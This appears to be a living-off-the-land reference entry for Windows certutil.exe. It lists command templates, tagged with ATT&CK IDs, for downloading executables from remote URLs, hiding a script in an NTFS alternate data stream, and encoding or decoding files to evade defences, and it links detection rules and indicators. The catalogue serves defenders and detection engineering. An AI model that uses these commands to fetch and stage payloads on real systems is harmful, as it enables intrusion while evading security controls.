Certutil.exe

Commands

1. DownloadUser T1105

   Download file from Internet

   certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}

   Download and save an executable to disk in the current folder.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

2. DownloadUser T1105

   Download file from Internet

   certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}

   Download and save an executable to disk in the current folder when a file path is specified, or %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash> when not.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

3. ADSUser T1564.004

   Download file from Internet and save it in an NTFS Alternate Data Stream

   certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt

   Download and save a .ps1 file to an Alternate Data Stream (ADS).

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

4. DownloadUser T1105

   Download file from Internet

   certutil.exe -URL {REMOTEURL:.exe}

   Download and save an executable to %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>.

   os: Windows 10, Windows 11

   Application: GUI

5. EncodeUser T1027.013

   Encode files to evade defensive measures

   certutil -encode {PATH} {PATH:.base64}

   Command to encode a file using Base64

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

6. DecodeUser T1140

   Decode files to evade defensive measures

   certutil -decode {PATH:.base64} {PATH}

   Command to decode a Base64 encoded file.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

7. DecodeUser T1140

   Decode files to evade defensive measures

   certutil -decodehex {PATH:.hex} {PATH}

   Command to decode a hexadecimal-encoded file.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml
• Elastic https://github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml
• Elastic https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml
• Splunk https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml
• Splunk https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml
• Splunk https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml
• IOCCertutil.exe creating new files on disk
• IOCUseragent Microsoft-CryptoAPI/10.0
• IOCUseragent CertUtil URL Agent

Resources

• https://twitter.com/Moriarty_Meng/status/984380793383370752
• https://twitter.com/mattifestation/status/620107926288515072
• https://twitter.com/egre55/status/1087685529016193025
• https://www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin/